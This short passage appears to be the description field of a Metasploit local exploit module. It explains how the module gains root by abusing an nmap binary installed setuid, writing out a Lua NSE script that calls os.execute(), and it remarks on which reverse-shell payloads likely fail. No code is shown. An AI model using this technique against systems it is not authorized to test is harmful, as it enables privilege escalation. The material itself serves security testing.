          Nmap's man page mentions that "Nmap should never be installed with
          special privileges (e.g. suid root) for security reasons.." and
          specifically avoids making any of its binaries setuid during
          installation.  Nevertheless, administrators sometimes feel the need
          to do insecure things.  This module abuses a setuid nmap binary by
          writing out a lua nse script containing a call to os.execute().

          Note that modern interpreters will refuse to run scripts on the
          command line when EUID != UID, so the cmd/unix/reverse_{perl,ruby}
          payloads will most likely not work.
